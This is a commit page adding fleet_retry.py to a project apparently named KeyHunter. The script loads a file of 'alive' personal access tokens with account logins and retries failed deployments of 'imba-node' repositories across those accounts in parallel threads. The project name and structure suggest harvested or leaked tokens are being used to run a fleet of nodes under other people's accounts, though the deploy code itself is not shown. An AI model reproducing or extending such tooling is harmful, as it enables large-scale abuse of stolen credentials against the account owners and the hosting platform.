KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
61
fleet_retry.py
Executable file
61
fleet_retry.py
Executable file
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
"""Retry failed fleet deployments (transient SSL etc)."""
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, KF_BASE)
|
||||
import fleet_deploy as fd # noqa: E402
|
||||
|
||||
DEPLOY = Path(r"C:/Users/User/Desktop/keyhunter/data/fleet_deploy.json")
|
||||
|
||||
|
||||
def main():
|
||||
recs = json.load(open(DEPLOY, encoding="utf-8"))
|
||||
alive = {a["pat"]: a for a in json.load(open(
|
||||
r"C:/Users/User/Desktop/keyhunter/data/alive_tokens.json",
|
||||
encoding="utf-8"))}
|
||||
fd.NODE_FILES = fd.collect_files()
|
||||
|
||||
retry = []
|
||||
for i, r in enumerate(recs):
|
||||
if r.get("ok"):
|
||||
continue
|
||||
acc = alive.get(r.get("pat"))
|
||||
if not acc:
|
||||
continue
|
||||
idx = int(r["repo"].rsplit("-", 1)[1])
|
||||
retry.append((i, acc, idx))
|
||||
print(f"retrying {len(retry)} failed nodes", flush=True)
|
||||
fd.TOTAL = len(recs)
|
||||
|
||||
import concurrent.futures as cf
|
||||
import time
|
||||
t0 = time.time()
|
||||
with cf.ThreadPoolExecutor(max_workers=8) as ex:
|
||||
# deploy_one appends to fd.results; we need per-record update instead
|
||||
futs = {ex.submit(fd.deploy_one, acc, idx): (i, acc, idx)
|
||||
for i, acc, idx in retry}
|
||||
for fut in cf.as_completed(futs):
|
||||
i, acc, idx = futs[fut]
|
||||
try:
|
||||
fut.result()
|
||||
except Exception as e:
|
||||
print(f" {acc['login']}: {e}", flush=True)
|
||||
m = next((x for x in reversed(fd.results)
|
||||
if x["login"] == acc["login"]), None)
|
||||
if m:
|
||||
m = dict(m)
|
||||
m["repo"] = f"imba-node-{idx:04d}"
|
||||
recs[i] = m
|
||||
|
||||
DEPLOY.write_text(json.dumps(recs, indent=1), encoding="utf-8")
|
||||
ok = sum(1 for r in recs if r.get("ok"))
|
||||
print(f"\nDONE {time.time()-t0:.0f}s: {ok}/{len(recs)} nodes live",
|
||||
flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user